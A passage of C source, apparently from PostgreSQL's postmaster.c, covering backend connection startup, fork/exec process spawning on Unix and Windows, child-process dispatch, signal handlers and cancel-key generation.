(PreAuthDelay > 0) pg_usleep(PreAuthDelay * 1000000L); /* This flag will remain set until InitPostgres finishes authentication */ ClientAuthInProgress = true; /* limit visibility of log messages */ /* save process start time */ port->SessionStartTime = GetCurrentTimestamp(); MyStartTime = timestamptz_to_time_t(port->SessionStartTime); /* set these to empty in case they are needed before we set them up */ port->remote_host = ""; port->remote_port = ""; /* * Initialize libpq and enable reporting of ereport errors to the client. * Must do this now because authentication uses libpq to send messages. */ pq_init(); /* initialize libpq to talk to client */ whereToSendOutput = DestRemote; /* now safe to ereport to client */ /* * We arrange for a simple exit(1) if we receive SIGTERM or SIGQUIT or * timeout while trying to collect the startup packet. Otherwise the * postmaster cannot shutdown the database FAST or IMMED cleanly if a * buggy client fails to send the packet promptly. XXX it follows that * the remainder of this function must tolerate losing control at any * instant. Likewise, any pg_on_exit_callback registered before or during * this function must be prepared to execute at any instant between here * and the end of this function. Furthermore, affected callbacks execute * partially or not at all when a second exit-inducing signal arrives * after proc_exit_prepare() decrements on_proc_exit_index. (Thanks to * that mechanic, callbacks need not anticipate more than one call.) This * is fragile; it ought to instead follow the norm of handling interrupts * at selected, safe opportunities. */ pqsignal(SIGTERM, startup_die); pqsignal(SIGQUIT, startup_die); InitializeTimeouts(); /* establishes SIGALRM handler */ PG_SETMASK(&StartupBlockSig); /* * Get the remote host name and port for logging and status display. */ remote_host[0] = '\0'; remote_port[0] = '\0'; if ((ret = pg_getnameinfo_all(&port->raddr.addr, port->raddr.salen, remote_host, sizeof(remote_host), remote_port, sizeof(remote_port), (log_hostname ? 0 : NI_NUMERICHOST) | NI_NUMERICSERV)) != 0) ereport(WARNING, (errmsg_internal("pg_getnameinfo_all() failed: %s", gai_strerror(ret)))); if (remote_port[0] == '\0') snprintf(remote_ps_data, sizeof(remote_ps_data), "%s", remote_host); else snprintf(remote_ps_data, sizeof(remote_ps_data), "%s(%s)", remote_host, remote_port); /* * Save remote_host and remote_port in port structure (after this, they * will appear in log_line_prefix data for log messages). */ port->remote_host = strdup(remote_host); port->remote_port = strdup(remote_port); /* And now we can issue the Log_connections message, if wanted */ if (Log_connections) { if (remote_port[0]) ereport(LOG, (errmsg("connection received: host=%s port=%s", remote_host, remote_port))); else ereport(LOG, (errmsg("connection received: host=%s", remote_host))); } /* * If we did a reverse lookup to name, we might as well save the results * rather than possibly repeating the lookup during authentication. * * Note that we don't want to specify NI_NAMEREQD above, because then we'd * get nothing useful for a client without an rDNS entry. Therefore, we * must check whether we got a numeric IPv4 or IPv6 address, and not save * it into remote_hostname if so. (This test is conservative and might * sometimes classify a hostname as numeric, but an error in that * direction is safe; it only results in a possible extra lookup.) */ if (log_hostname && ret == 0 && strspn(remote_host, "0123456789.") < strlen(remote_host) && strspn(remote_host, "0123456789ABCDEFabcdef:") < strlen(remote_host)) port->remote_hostname = strdup(remote_host); /* * Ready to begin client interaction. We will give up and exit(1) after a * time delay, so that a broken client can't hog a connection * indefinitely. PreAuthDelay and any DNS interactions above don't count * against the time limit. * * Note: AuthenticationTimeout is applied here while waiting for the * startup packet, and then again in InitPostgres for the duration of any * authentication operations. So a hostile client could tie up the * process for nearly twice AuthenticationTimeout before we kick him off. * * Note: because PostgresMain will call InitializeTimeouts again, the * registration of STARTUP_PACKET_TIMEOUT will be lost. This is okay * since we never use it again after this function. */ RegisterTimeout(STARTUP_PACKET_TIMEOUT, StartupPacketTimeoutHandler); enable_timeout_after(STARTUP_PACKET_TIMEOUT, AuthenticationTimeout * 1000); /* * Receive the startup packet (which might turn out to be a cancel request * packet). */ status = ProcessStartupPacket(port, false); /* * Stop here if it was bad or a cancel packet. ProcessStartupPacket * already did any appropriate error reporting. */ if (status != STATUS_OK) proc_exit(0); /* * Now that we have the user and database name, we can set the process * title for ps. It's good to do this as early as possible in startup. * * For a walsender, the ps display is set in the following form: * * postgres: wal sender process <user> <host> <activity> * * To achieve that, we pass "wal sender process" as username and username * as dbname to init_ps_display(). XXX: should add a new variant of * init_ps_display() to avoid abusing the parameters like this. */ if (am_walsender) init_ps_display("wal sender process", port->user_name, remote_ps_data, update_process_title ? "authentication" : ""); else init_ps_display(port->user_name, port->database_name, remote_ps_data, update_process_title ? "authentication" : ""); /* * Disable the timeout, and prevent SIGTERM/SIGQUIT again. */ disable_timeout(STARTUP_PACKET_TIMEOUT, false); PG_SETMASK(&BlockSig); } /* * BackendRun -- set up the backend's argument list and invoke PostgresMain() * * returns: * Shouldn't return at all. * If PostgresMain() fails, return status. */ static void BackendRun(Port *port) { char **av; int maxac; int ac; long secs; int usecs; int i; /* * Don't want backend to be able to see the postmaster random number * generator state. We have to clobber the static random_seed *and* start * a new random sequence in the random() library function. */ #ifndef HAVE_STRONG_RANDOM random_seed = 0; random_start_time.tv_usec = 0; #endif /* slightly hacky way to convert timestamptz into integers */ TimestampDifference(0, port->SessionStartTime, &secs, &usecs); srandom((unsigned int) (MyProcPid ^ (usecs << 12) ^ secs)); /* * Now, build the argv vector that will be given to PostgresMain. * * The maximum possible number of commandline arguments that could come * from ExtraOptions is (strlen(ExtraOptions) + 1) / 2; see * pg_split_opts(). */ maxac = 2; /* for fixed args supplied below */ maxac += (strlen(ExtraOptions) + 1) / 2; av = (char **) MemoryContextAlloc(TopMemoryContext, maxac * sizeof(char *)); ac = 0; av[ac++] = "postgres"; /* * Pass any backend switches specified with -o on the postmaster's own * command line. We assume these are secure. */ pg_split_opts(av, &ac, ExtraOptions); av[ac] = NULL; Assert(ac < maxac); /* * Debug: print arguments being passed to backend */ ereport(DEBUG3, (errmsg_internal("%s child[%d]: starting with (", progname, (int) getpid()))); for (i = 0; i < ac; ++i) ereport(DEBUG3, (errmsg_internal("\t%s", av[i]))); ereport(DEBUG3, (errmsg_internal(")"))); /* * Make sure we aren't in PostmasterContext anymore. (We can't delete it * just yet, though, because InitPostgres will need the HBA data.) */ MemoryContextSwitchTo(TopMemoryContext); PostgresMain(ac, av, port->database_name, port->user_name); } #ifdef EXEC_BACKEND /* * postmaster_forkexec -- fork and exec a postmaster subprocess * * The caller must have set up the argv array already, except for argv[2] * which will be filled with the name of the temp variable file. * * Returns the child process PID, or -1 on fork failure (a suitable error * message has been logged on failure). * * All uses of this routine will dispatch to SubPostmasterMain in the * child process. */ pid_t postmaster_forkexec(int argc, char *argv[]) { Port port; /* This entry point passes dummy values for the Port variables */ memset(&port, 0, sizeof(port)); return internal_forkexec(argc, argv, &port); } /* * backend_forkexec -- fork/exec off a backend process * * Some operating systems (WIN32) don't have fork() so we have to simulate * it by storing parameters that need to be passed to the child and * then create a new child process. * * returns the pid of the fork/exec'd process, or -1 on failure */ static pid_t backend_forkexec(Port *port) { char *av[4]; int ac = 0; av[ac++] = "postgres"; av[ac++] = "--forkbackend"; av[ac++] = NULL; /* filled in by internal_forkexec */ av[ac] = NULL; Assert(ac < lengthof(av)); return internal_forkexec(ac, av, port); } #ifndef WIN32 /* * internal_forkexec non-win32 implementation * * - writes out backend variables to the parameter file * - fork():s, and then exec():s the child process */ static pid_t internal_forkexec(int argc, char *argv[], Port *port) { static unsigned long tmpBackendFileNum = 0; pid_t pid; char tmpfilename[MAXPGPATH]; BackendParameters param; FILE *fp; if (!save_backend_variables(&param, port)) return -1; /* log made by save_backend_variables */ /* Calculate name for temp file */ snprintf(tmpfilename, MAXPGPATH, "%s/%s.backend_var.%d.%lu", PG_TEMP_FILES_DIR, PG_TEMP_FILE_PREFIX, MyProcPid, ++tmpBackendFileNum); /* Open file */ fp = AllocateFile(tmpfilename, PG_BINARY_W); if (!fp) { /* * As in OpenTemporaryFileInTablespace, try to make the temp-file * directory */ mkdir(PG_TEMP_FILES_DIR, S_IRWXU); fp = AllocateFile(tmpfilename, PG_BINARY_W); if (!fp) { ereport(LOG, (errcode_for_file_access(), errmsg("could not create file \"%s\": %m", tmpfilename))); return -1; } } if (fwrite(&param, sizeof(param), 1, fp) != 1) { ereport(LOG, (errcode_for_file_access(), errmsg("could not write to file \"%s\": %m", tmpfilename))); FreeFile(fp); return -1; } /* Release file */ if (FreeFile(fp)) { ereport(LOG, (errcode_for_file_access(), errmsg("could not write to file \"%s\": %m", tmpfilename))); return -1; } /* Make sure caller set up argv properly */ Assert(argc >= 3); Assert(argv[argc] == NULL); Assert(strncmp(argv[1], "--fork", 6) == 0); Assert(argv[2] == NULL); /* Insert temp file name after --fork argument */ argv[2] = tmpfilename; /* Fire off execv in child */ if ((pid = fork_process()) == 0) { if (execv(postgres_exec_path, argv) < 0) { ereport(LOG, (errmsg("could not execute server process \"%s\": %m", postgres_exec_path))); /* We're already in the child process here, can't return */ exit(1); } } return pid; /* Parent returns pid, or -1 on fork failure */ } #else /* WIN32 */ /* * internal_forkexec win32 implementation * * - starts backend using CreateProcess(), in suspended state * - writes out backend variables to the parameter file * - during this, duplicates handles and sockets required for * inheritance into the new process * - resumes execution of the new process once the backend parameter * file is complete. */ static pid_t internal_forkexec(int argc, char *argv[], Port *port) { STARTUPINFO si; PROCESS_INFORMATION pi; int i; int j; char cmdLine[MAXPGPATH * 2]; HANDLE paramHandle; BackendParameters *param; SECURITY_ATTRIBUTES sa; char paramHandleStr[32]; win32_deadchild_waitinfo *childinfo; /* Make sure caller set up argv properly */ Assert(argc >= 3); Assert(argv[argc] == NULL); Assert(strncmp(argv[1], "--fork", 6) == 0); Assert(argv[2] == NULL); /* Set up shared memory for parameter passing */ ZeroMemory(&sa, sizeof(sa)); sa.nLength = sizeof(sa); sa.bInheritHandle = TRUE; paramHandle = CreateFileMapping(INVALID_HANDLE_VALUE, &sa, PAGE_READWRITE, 0, sizeof(BackendParameters), NULL); if (paramHandle == INVALID_HANDLE_VALUE) { elog(LOG, "could not create backend parameter file mapping: error code %lu", GetLastError()); return -1; } param = MapViewOfFile(paramHandle, FILE_MAP_WRITE, 0, 0, sizeof(BackendParameters)); if (!param) { elog(LOG, "could not map backend parameter memory: error code %lu", GetLastError()); CloseHandle(paramHandle); return -1; } /* Insert temp file name after --fork argument */ #ifdef _WIN64 sprintf(paramHandleStr, "%llu", (LONG_PTR) paramHandle); #else sprintf(paramHandleStr, "%lu", (DWORD) paramHandle); #endif argv[2] = paramHandleStr; /* Format the cmd line */ cmdLine[sizeof(cmdLine) - 1] = '\0'; cmdLine[sizeof(cmdLine) - 2] = '\0'; snprintf(cmdLine, sizeof(cmdLine) - 1, "\"%s\"", postgres_exec_path); i = 0; while (argv[++i] != NULL) { j = strlen(cmdLine); snprintf(cmdLine + j, sizeof(cmdLine) - 1 - j, " \"%s\"", argv[i]); } if (cmdLine[sizeof(cmdLine) - 2] != '\0') { elog(LOG, "subprocess command line too long"); return -1; } memset(&pi, 0, sizeof(pi)); memset(&si, 0, sizeof(si)); si.cb = sizeof(si); /* * Create the subprocess in a suspended state. This will be resumed later, * once we have written out the parameter file. */ if (!CreateProcess(NULL, cmdLine, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { elog(LOG, "CreateProcess call failed: %m (error code %lu)", GetLastError()); return -1; } if (!save_backend_variables(param, port, pi.hProcess, pi.dwProcessId)) { /* * log made by save_backend_variables, but we have to clean up the * mess with the half-started process */ if (!TerminateProcess(pi.hProcess, 255)) ereport(LOG, (errmsg_internal("could not terminate unstarted process: error code %lu", GetLastError()))); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return -1; /* log made by save_backend_variables */ } /* Drop the parameter shared memory that is now inherited to the backend */ if (!UnmapViewOfFile(param)) elog(LOG, "could not unmap view of backend parameter file: error code %lu", GetLastError()); if (!CloseHandle(paramHandle)) elog(LOG, "could not close handle to backend parameter file: error code %lu", GetLastError()); /* * Reserve the memory region used by our main shared memory segment before * we resume the child process. */ if (!pgwin32_ReserveSharedMemoryRegion(pi.hProcess)) { /* * Failed to reserve the memory, so terminate the newly created * process and give up. */ if (!TerminateProcess(pi.hProcess, 255)) ereport(LOG, (errmsg_internal("could not terminate process that failed to reserve memory: error code %lu", GetLastError()))); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return -1; /* logging done made by * pgwin32_ReserveSharedMemoryRegion() */ } /* * Now that the backend variables are written out, we start the child * thread so it can start initializing while we set up the rest of the * parent state. */ if (ResumeThread(pi.hThread) == -1) { if (!TerminateProcess(pi.hProcess, 255)) { ereport(LOG, (errmsg_internal("could not terminate unstartable process: error code %lu", GetLastError()))); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return -1; } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); ereport(LOG, (errmsg_internal("could not resume thread of unstarted process: error code %lu", GetLastError()))); return -1; } /* * Queue a waiter for to signal when this child dies. The wait will be * handled automatically by an operating system thread pool. * * Note: use malloc instead of palloc, since it needs to be thread-safe. * Struct will be free():d from the callback function that runs on a * different thread. */ childinfo = malloc(sizeof(win32_deadchild_waitinfo)); if (!childinfo) ereport(FATAL, (errcode(ERRCODE_OUT_OF_MEMORY), errmsg("out of memory"))); childinfo->procHandle = pi.hProcess; childinfo->procId = pi.dwProcessId; if (!RegisterWaitForSingleObject(&childinfo->waitHandle, pi.hProcess, pgwin32_deadchild_callback, childinfo, INFINITE, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD)) ereport(FATAL, (errmsg_internal("could not register process for wait: error code %lu", GetLastError()))); /* Don't close pi.hProcess here - the wait thread needs access to it */ CloseHandle(pi.hThread); return pi.dwProcessId; } #endif /* WIN32 */ /* * SubPostmasterMain -- Get the fork/exec'd process into a state equivalent * to what it would be if we'd simply forked on Unix, and then * dispatch to the appropriate place. * * The first two command line arguments are expected to be "--forkFOO" * (where FOO indicates which postmaster child we are to become), and * the name of a variables file that we can read to load data that would * have been inherited by fork() on Unix. Remaining arguments go to the * subprocess FooMain() routine. */ void SubPostmasterMain(int argc, char *argv[]) { Port port; /* In EXEC_BACKEND case we will not have inherited these settings */ IsPostmasterEnvironment = true; whereToSendOutput = DestNone; /* Setup as postmaster child */ InitPostmasterChild(); /* Setup essential subsystems (to ensure elog() behaves sanely) */ InitializeGUCOptions(); /* Check we got appropriate args */ if (argc < 3) elog(FATAL, "invalid subpostmaster invocation"); /* Read in the variables file */ memset(&port, 0, sizeof(Port)); read_backend_variables(argv[2], &port); /* Close the postmaster's sockets (as soon as we know them) */ ClosePostmasterPorts(strcmp(argv[1], "--forklog") == 0); /* * Set reference point for stack-depth checking */ set_stack_base(); /* * Set up memory area for GSS information. Mirrors the code in ConnCreate * for the non-exec case. */ #if defined(ENABLE_GSS) || defined(ENABLE_SSPI) port.gss = (pg_gssinfo *) calloc(1, sizeof(pg_gssinfo)); if (!port.gss) ereport(FATAL, (errcode(ERRCODE_OUT_OF_MEMORY), errmsg("out of memory"))); #endif /* * If appropriate, physically re-attach to shared memory segment. We want * to do this before going any further to ensure that we can attach at the * same address the postmaster used. On the other hand, if we choose not * to re-attach, we may have other cleanup to do. * * If testing EXEC_BACKEND on Linux, you should run this as root before * starting the postmaster: * * echo 0 >/proc/sys/kernel/randomize_va_space * * This prevents using randomized stack and code addresses that cause the * child process's memory map to be different from the parent's, making it * sometimes impossible to attach to shared memory at the desired address. * Return the setting to its old value (usually '1' or '2') when finished. */ if (strcmp(argv[1], "--forkbackend") == 0 || strcmp(argv[1], "--forkavlauncher") == 0 || strcmp(argv[1], "--forkavworker") == 0 || strcmp(argv[1], "--forkboot") == 0 || strncmp(argv[1], "--forkbgworker=", 15) == 0) PGSharedMemoryReAttach(); else PGSharedMemoryNoReAttach(); /* autovacuum needs this set before calling InitProcess */ if (strcmp(argv[1], "--forkavlauncher") == 0) AutovacuumLauncherIAm(); if (strcmp(argv[1], "--forkavworker") == 0) AutovacuumWorkerIAm(); /* * Start our win32 signal implementation. This has to be done after we * read the backend variables, because we need to pick up the signal pipe * from the parent process. */ #ifdef WIN32 pgwin32_signal_initialize(); #endif /* In EXEC_BACKEND case we will not have inherited these settings */ pqinitmask(); PG_SETMASK(&BlockSig); /* Read in remaining GUC variables */ read_nondefault_variables(); /* * Reload any libraries that were preloaded by the postmaster. Since we * exec'd this process, those libraries didn't come along with us; but we * should load them into all child processes to be consistent with the * non-EXEC_BACKEND behavior. */ process_shared_preload_libraries(); /* Run backend or appropriate child */ if (strcmp(argv[1], "--forkbackend") == 0) { Assert(argc == 3); /* shouldn't be any more args */ /* * Need to reinitialize the SSL library in the backend, since the * context structures contain function pointers and cannot be passed * through the parameter file. * * If for some reason reload fails (maybe the user installed broken * key files), soldier on without SSL; that's better than all * connections becoming impossible. * * XXX should we do this in all child processes? For the moment it's * enough to do it in backend children. */ #ifdef USE_SSL if (EnableSSL) { if (secure_initialize(false) == 0) LoadedSSL = true; else ereport(LOG, (errmsg("SSL configuration could not be loaded in child process"))); } #endif /* * Perform additional initialization and collect startup packet. * * We want to do this before InitProcess() for a couple of reasons: 1. * so that we aren't eating up a PGPROC slot while waiting on the * client. 2. so that if InitProcess() fails due to being out of * PGPROC slots, we have already initialized libpq and are able to * report the error to the client. */ BackendInitialize(&port); /* Restore basic shared memory pointers */ InitShmemAccess(UsedShmemSegAddr); /* Need a PGPROC to run CreateSharedMemoryAndSemaphores */ InitProcess(); /* Attach process to shared data structures */ CreateSharedMemoryAndSemaphores(false, 0); /* And run the backend */ BackendRun(&port); /* does not return */ } if (strcmp(argv[1], "--forkboot") == 0) { /* Restore basic shared memory pointers */ InitShmemAccess(UsedShmemSegAddr); /* Need a PGPROC to run CreateSharedMemoryAndSemaphores */ InitAuxiliaryProcess(); /* Attach process to shared data structures */ CreateSharedMemoryAndSemaphores(false, 0); AuxiliaryProcessMain(argc - 2, argv + 2); /* does not return */ } if (strcmp(argv[1], "--forkavlauncher") == 0) { /* Restore basic shared memory pointers */ InitShmemAccess(UsedShmemSegAddr); /* Need a PGPROC to run CreateSharedMemoryAndSemaphores */ InitProcess(); /* Attach process to shared data structures */ CreateSharedMemoryAndSemaphores(false, 0); AutoVacLauncherMain(argc - 2, argv + 2); /* does not return */ } if (strcmp(argv[1], "--forkavworker") == 0) { /* Restore basic shared memory pointers */ InitShmemAccess(UsedShmemSegAddr); /* Need a PGPROC to run CreateSharedMemoryAndSemaphores */ InitProcess(); /* Attach process to shared data structures */ CreateSharedMemoryAndSemaphores(false, 0); AutoVacWorkerMain(argc - 2, argv + 2); /* does not return */ } if (strncmp(argv[1], "--forkbgworker=", 15) == 0) { int shmem_slot; /* do this as early as possible; in particular, before InitProcess() */ IsBackgroundWorker = true; /* Restore basic shared memory pointers */ InitShmemAccess(UsedShmemSegAddr); /* Need a PGPROC to run CreateSharedMemoryAndSemaphores */ InitProcess(); /* Attach process to shared data structures */ CreateSharedMemoryAndSemaphores(false, 0); /* Fetch MyBgworkerEntry from shared memory */ shmem_slot = atoi(argv[1] + 15); MyBgworkerEntry = BackgroundWorkerEntry(shmem_slot); StartBackgroundWorker(); } if (strcmp(argv[1], "--forkarch") == 0) { /* Do not want to attach to shared memory */ PgArchiverMain(argc, argv); /* does not return */ } if (strcmp(argv[1], "--forkcol") == 0) { /* Do not want to attach to shared memory */ PgstatCollectorMain(argc, argv); /* does not return */ } if (strcmp(argv[1], "--forklog") == 0) { /* Do not want to attach to shared memory */ SysLoggerMain(argc, argv); /* does not return */ } abort(); /* shouldn't get here */ } #endif /* EXEC_BACKEND */ /* * ExitPostmaster -- cleanup * * Do NOT call exit() directly --- always go through here! */ static void ExitPostmaster(int status) { #ifdef HAVE_PTHREAD_IS_THREADED_NP /* * There is no known cause for a postmaster to become multithreaded after * startup. Recheck to account for the possibility of unknown causes. * This message uses LOG level, because an unclean shutdown at this point * would usually not look much different from a clean shutdown. */ if (pthread_is_threaded_np() != 0) ereport(LOG, (errcode(ERRCODE_INTERNAL_ERROR), errmsg_internal("postmaster became multithreaded"), errdetail("Please report this to <[email protected]>."))); #endif /* should cleanup shared memory and kill all backends */ /* * Not sure of the semantics here. When the Postmaster dies, should the * backends all be killed? probably not. * * MUST -- vadim 05-10-1999 */ proc_exit(status); } /* * sigusr1_handler - handle signal conditions from child processes */ static void sigusr1_handler(SIGNAL_ARGS) { int save_errno = errno; PG_SETMASK(&BlockSig); /* Process background worker state change. */ if (CheckPostmasterSignal(PMSIGNAL_BACKGROUND_WORKER_CHANGE)) { BackgroundWorkerStateChange(); StartWorkerNeeded = true; } /* * RECOVERY_STARTED and BEGIN_HOT_STANDBY signals are ignored in * unexpected states. If the startup process quickly starts up, completes * recovery, exits, we might process the death of the startup process * first. We don't want to go back to recovery in that case. */ if (CheckPostmasterSignal(PMSIGNAL_RECOVERY_STARTED) && pmState == PM_STARTUP && Shutdown == NoShutdown) { /* WAL redo has started. We're out of reinitialization. */ FatalError = false; Assert(AbortStartTime == 0); /* * Crank up the background tasks. It doesn't matter if this fails, * we'll just try again later. */ Assert(CheckpointerPID == 0); CheckpointerPID = StartCheckpointer(); Assert(BgWriterPID == 0); BgWriterPID = StartBackgroundWriter(); /* * Start the archiver if we're responsible for (re-)archiving received * files. */ Assert(PgArchPID == 0); if (XLogArchivingAlways()) PgArchPID = pgarch_start(); #ifdef USE_SYSTEMD if (!EnableHotStandby) sd_notify(0, "READY=1"); #endif pmState = PM_RECOVERY; } if (CheckPostmasterSignal(PMSIGNAL_BEGIN_HOT_STANDBY) && pmState == PM_RECOVERY && Shutdown == NoShutdown) { /* * Likewise, start other special children as needed. */ Assert(PgStatPID == 0); PgStatPID = pgstat_start(); ereport(LOG, (errmsg("database system is ready to accept read only connections"))); #ifdef USE_SYSTEMD sd_notify(0, "READY=1"); #endif pmState = PM_HOT_STANDBY; /* Some workers may be scheduled to start now */ StartWorkerNeeded = true; } if (StartWorkerNeeded || HaveCrashedWorker) maybe_start_bgworker(); if (CheckPostmasterSignal(PMSIGNAL_WAKEN_ARCHIVER) && PgArchPID != 0) { /* * Send SIGUSR1 to archiver process, to wake it up and begin archiving * next transaction log file. */ signal_child(PgArchPID, SIGUSR1); } if (CheckPostmasterSignal(PMSIGNAL_ROTATE_LOGFILE) && SysLoggerPID != 0) { /* Tell syslogger to rotate logfile */ signal_child(SysLoggerPID, SIGUSR1); } if (CheckPostmasterSignal(PMSIGNAL_START_AUTOVAC_LAUNCHER) && Shutdown == NoShutdown) { /* * Start one iteration of the autovacuum daemon, even if autovacuuming * is nominally not enabled. This is so we can have an active defense * against transaction ID wraparound. We set a flag for the main loop * to do it rather than trying to do it here --- this is because the * autovac process itself may send the signal, and we want to handle * that by launching another iteration as soon as the current one * completes. */ start_autovac_launcher = true; } if (CheckPostmasterSignal(PMSIGNAL_START_AUTOVAC_WORKER) && Shutdown == NoShutdown) { /* The autovacuum launcher wants us to start a worker process. */ StartAutovacuumWorker(); } if (CheckPostmasterSignal(PMSIGNAL_START_WALRECEIVER) && WalReceiverPID == 0 && (pmState == PM_STARTUP || pmState == PM_RECOVERY || pmState == PM_HOT_STANDBY || pmState == PM_WAIT_READONLY) && Shutdown == NoShutdown) { /* Startup Process wants us to start the walreceiver process. */ WalReceiverPID = StartWalReceiver(); } if (CheckPostmasterSignal(PMSIGNAL_ADVANCE_STATE_MACHINE) && (pmState == PM_WAIT_BACKUP || pmState == PM_WAIT_BACKENDS)) { /* Advance postmaster's state machine */ PostmasterStateMachine(); } if (CheckPromoteSignal() && StartupPID != 0 && (pmState == PM_STARTUP || pmState == PM_RECOVERY || pmState == PM_HOT_STANDBY || pmState == PM_WAIT_READONLY)) { /* Tell startup process to finish recovery */ signal_child(StartupPID, SIGUSR2); } PG_SETMASK(&UnBlockSig); errno = save_errno; } /* * SIGTERM or SIGQUIT while processing startup packet. * Clean up and exit(1). * * XXX: possible future improvement: try to send a message indicating * why we are disconnecting. Problem is to be sure we don't block while * doing so, nor mess up SSL initialization. In practice, if the client * has wedged here, it probably couldn't do anything with the message anyway. */ static void startup_die(SIGNAL_ARGS) { proc_exit(1); } /* * Dummy signal handler * * We use this for signals that we don't actually use in the postmaster, * but we do use in backends. If we were to SIG_IGN such signals in the * postmaster, then a newly started backend might drop a signal that arrives * before it's able to reconfigure its signal processing. (See notes in * tcop/postgres.c.) */ static void dummy_handler(SIGNAL_ARGS) { } /* * Timeout while processing startup packet. * As for startup_die(), we clean up and exit(1). */ static void StartupPacketTimeoutHandler(void) { proc_exit(1); } /* * Generate a random cancel key. */ static bool RandomCancelKey(int32 *cancel_key) { #ifdef HAVE_STRONG_RANDOM return pg_strong_random((char *) cancel_key, sizeof(int32)); #else /* * If built with --disable-strong-random, use plain old erand48. * * We cannot use pg_backend_random() in postmaster, because it stores * its state in shared memory. */ static unsigned short seed[3]; /* * Select a random seed at the time of first receiving a request. */ if (random_seed == 0) { struct timeval random_stop_time; gettimeofday(&random_stop_time, NULL); seed[0] = (unsigned short) random_start_time.tv_usec; seed[1] = (unsigned short) (random_stop_time.tv_usec) ^ (random_start_time.tv_usec >> 16); seed[2] = (unsigned short) (random_stop_time.tv_usec >> 16); random_seed = 1; } *cancel_key = pg_jrand48(seed); return true; #endif } /* * Count up number of child processes of specified types (dead_end chidren * are always excluded). */ static int CountChildren(int target) { dlist_iter iter; int cnt = 0; dlist_foreach(iter, &BackendList) { Backend *bp = dlist_container(Backend, elem, iter.cur); if (bp->dead_end) continue; /* * Since target == BACKEND_TYPE_ALL is the most common case, we test * it first and avoid touching shared memory for every child. */ if (target != BACKEND_TYPE_ALL) { /* * Assign bkend_type for any recently announced WAL Sender * processes. */ if (bp->bkend_type == BACKEND_TYPE_NORMAL && IsPostmasterChildWalSender(bp->child_slot)) bp->bkend_type = BACKEND_TYPE_WALSND; if (!(target & bp->bkend_type)) continue; } cnt++; } return cnt; } /* * StartChildProcess -- start an auxiliary process for the postmaster * * "type" determines what kind of child will be started. All child types * initially go to AuxiliaryProcessMain, which will handle common setup. * * Return value of StartChildProcess is subprocess' PID, or 0 if failed * to start subprocess. */ static pid_t StartChildProcess(AuxProcType type) { pid_t pid; char *av[10]; int ac = 0; char typebuf[32]; /* * Set up command-line arguments for subprocess */ av[ac++] = "postgres"; #ifdef EXEC_BACKEND av[ac++] = "--forkboot"; av[ac++] = NULL; /* filled in by postmaster_forkexec */ #endif snprintf(typebuf, sizeof(typebuf), "-x%d", type); av[ac++] = typebuf; av[ac] = NULL; Assert(ac < lengthof(av)); #ifdef EXEC_BACKEND pid = postmaster_forkexec(ac, av); #else /* !EXEC_BACKEND */ pid = fork_process(); if (pid == 0) /* child */ { InitPostmasterChild(); /* Close the postmaster's sockets */ ClosePostmasterPorts(false); /* Release postmaster's working memory context */ MemoryContextSwitchTo(TopMemoryContext); MemoryContextDelete(PostmasterContext); PostmasterContext = NULL; AuxiliaryProcessMain(ac, av); ExitPostmaster(0); } #endif /* EXEC_BACKEND */ if (pid < 0) { /* in parent, fork failed */ int save_errno = errno; errno = save_errno; switch (type) { case StartupProcess: ereport(LOG, (errmsg("could not fork startup process: %m"))); break; case BgWriterProcess: ereport(LOG, (errmsg("could not fork background writer process: %m"))); break; case CheckpointerProcess: ereport(LOG, (errmsg("could not fork checkpointer process: %m"))); break; case WalWriterProcess: ereport(LOG, (errmsg("could not fork WAL writer process: %m"))); break; case WalReceiverProcess: ereport(LOG, (errmsg("could not fork WAL receiver process: %m"))); break; default: ereport(LOG, (errmsg("could not fork process: %m"))); break; } /* * fork failure is fatal during startup, but there's no need to choke * immediately if starting other child types fails. */ if (type == StartupProcess) ExitPostmaster(1); return 0; } /* * in parent, successful fork */ return pid; } /* * StartAutovacuumWorker * Start an autovac worker process. * * This function is here because it enters the resulting PID into the * postmaster's private backends list. * * NB -- this code very roughly matches BackendStartup. */ static void StartAutovacuumWorker(void) { Backend *bn; /* * If not in condition to run a process, don't try, but handle it like a * fork failure. This does not normally happen, since the signal is only * supposed to be sent by autovacuum launcher when it's OK to do it, but * we have to check to avoid race-condition problems during DB state * changes. */ if (canAcceptConnections() == CAC_OK) { /* * Compute the cancel key that will be assigned to this session. * We probably don't need cancel keys for autovac workers, but * we'd better have something random in the field to prevent * unfriendly people from sending cancels to them. */ if (!RandomCancelKey(&MyCancelKey)) { ereport(LOG, (errcode(ERRCODE_INTERNAL_ERROR), errmsg("could not generate random cancel key"))); return; } bn = (Backend *) malloc(sizeof(Backend)); if (bn) { bn->cancel_key = MyCancelKey; /* Autovac workers are not dead_end and need a child slot */ bn->dead_end = false; bn->child_slot = MyPMChildSlot = AssignPostmasterChildSlot(); bn->bgworker_notify = false; bn->pid = StartAutoVacWorker(); if (bn->pid > 0) { bn->bkend_type = BACKEND_TYPE_AUTOVAC; dlist_push_head(&BackendList, &bn->elem); #ifdef EXEC_BACKEND ShmemBackendArrayAdd(bn); #endif /* all OK */ return; } /* * fork failed, fall through to report -- actual error message was * logged by StartAutoVacWorker */ (void) ReleasePostmasterChildSlot(bn->child_slot); free(bn); } else ereport(LOG, (errcode(ERRCODE_OUT_OF_MEMORY), errmsg("out of memory"))); } /* * Report the failure to the launcher, if it's running. (If it's not, we * might not even be connected to shared memory, so don't try to call * AutoVacWorkerFailed.) Note that we also need to signal it so that it * responds to the condition, but we don't do that here, instead waiting * for ServerLoop to do it. This way we avoid a ping-pong signalling in * quick succession between the autovac launcher and postmaster in case * things get ugly. */ if (AutoVacPID != 0) { AutoVacWorkerFailed(); avlauncher_needs_signal = true; } } /* * Create the opts file */ static bool CreateOptsFile(int argc, char *argv[], char *fullprogname) { FILE *fp; int i; #define OPTS_FILE "postmaster.opts" if ((fp = fopen(OPTS_FILE, "w")) == NULL) { elog(LOG, "could not create file \"%s\": %m", OPTS_FILE); return false; } fprintf(fp, "%s", fullprogname); for (i = 1; i < argc; i++) fprintf(fp, " \"%s\"", argv[i]); fputs("\n", fp); if (fclose(fp)) { elog(LOG, "could not write file \"%s\": %m", OPTS_FILE); return false; } return true; } /* * MaxLivePostmasterChildren * * This reports the number of entries needed in per-child-process arrays * (the PMChildFlags array, and if 